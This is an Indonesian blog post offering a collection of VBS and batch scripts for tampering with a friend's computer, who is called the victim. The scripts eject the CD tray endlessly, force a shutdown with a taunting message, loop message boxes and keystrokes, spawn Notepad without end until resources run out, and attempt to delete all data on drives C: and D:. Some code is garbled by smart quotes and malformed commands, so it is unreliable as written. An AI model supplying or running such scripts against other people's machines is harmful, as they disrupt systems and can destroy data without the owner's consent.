Berbagi karya

Kumpulan Kode Script Untuk Menjahili Komputer Teman

Selamat sore sahabat http://teknik-iinformatika.blogspot.com/ sekarang saatnya untuk belajar cara ngerjain komputer teman. mungkin tips dan trik ini akan sedikit membuat agan akan di marahin si korban. dari pada lama-lama menunggu caranya kita langsung saja ke TKP.

berikut langkah-langkah yang agan jalankan :

===============================

Membuka Dan Menutup CD/DVD Komputer

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    Set oWMP = CreateObject(“WMPlayer.OCX.7″)

    Set colCDROMs = oWMP.cdromCollection

    do

    if colCDROMs.Count >= 1 then

    For i = 0 to colCDROMs.Count – 1

    colCDROMs.Item(i).Eject

    Next

    For i = 0 to colCDROMs.Count – 1

    colCDROMs.Item(i).Eject

    Next

    End If

    wscript.sleep 5000

    loop

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagidvd.vbs" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Membuat Komputer Shutdown Dengan Muncul Pesan

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    @echo off

    msg * Harap tenang komputer anda akan mati! Hahaha!

    shutdown -s -c “Komputer anda mati. By PutuGiBagi"

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagishutdown.bat" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Membuat Pesan Muncul Berulang - Ulang

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    @ECHO off

    :Begin

    msg * hahahhaa

    msg * santai boss

    msg * ini hanya main-main

    msg * jangan marah ya

    msg * hanya bercanda by putugibagi

    GOTO BEGIN

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagipesan.bat" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Membuat Tombol Capslock Terus Menyala

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagicapslock.vbs" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Membuat Terus – Menerus Menekan Tombol “BackSpace”

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    MsgBox “Kembali ke menu sebelumnya” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagibackspace.vbs" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Membuka Program Aplikasi Notepad Terus – Menerus

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

3. Klik File >> Save As.

4. Berikan nama "PutuGiBaginotepad.bat" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

Menghapus semua Data  Tanpa Terkecuali (Hati - Hati!)

1. Buka Notepad.

2. Pastekan kode dibawah ini!.

    DEL C: -Y DEL D: -Y

3. Klik File >> Save As.

4. Berikan nama "PutuGiBagihapus.bat" (Tanpa Tanda Petik!).

5. Pada "Save As Type", ubah menjadi "All File" dan tekan "Enter".

6. Buka file tadi!.

===============================

CATATAN PENTING!

    1. Semua script di atas akan berjalan jika sobat klik Pada file yang sobat ingin jalankan.

    2. Jika ada sesuatu yang terjadi jangan salahkan saya,karena saya hanya memberikan sedikit ilmu yang saya miliki.

jangan lupa follow dan komentar !!

Sekian dan Semoga Bermanfaat Untuk Anda Semua. Terima Kasih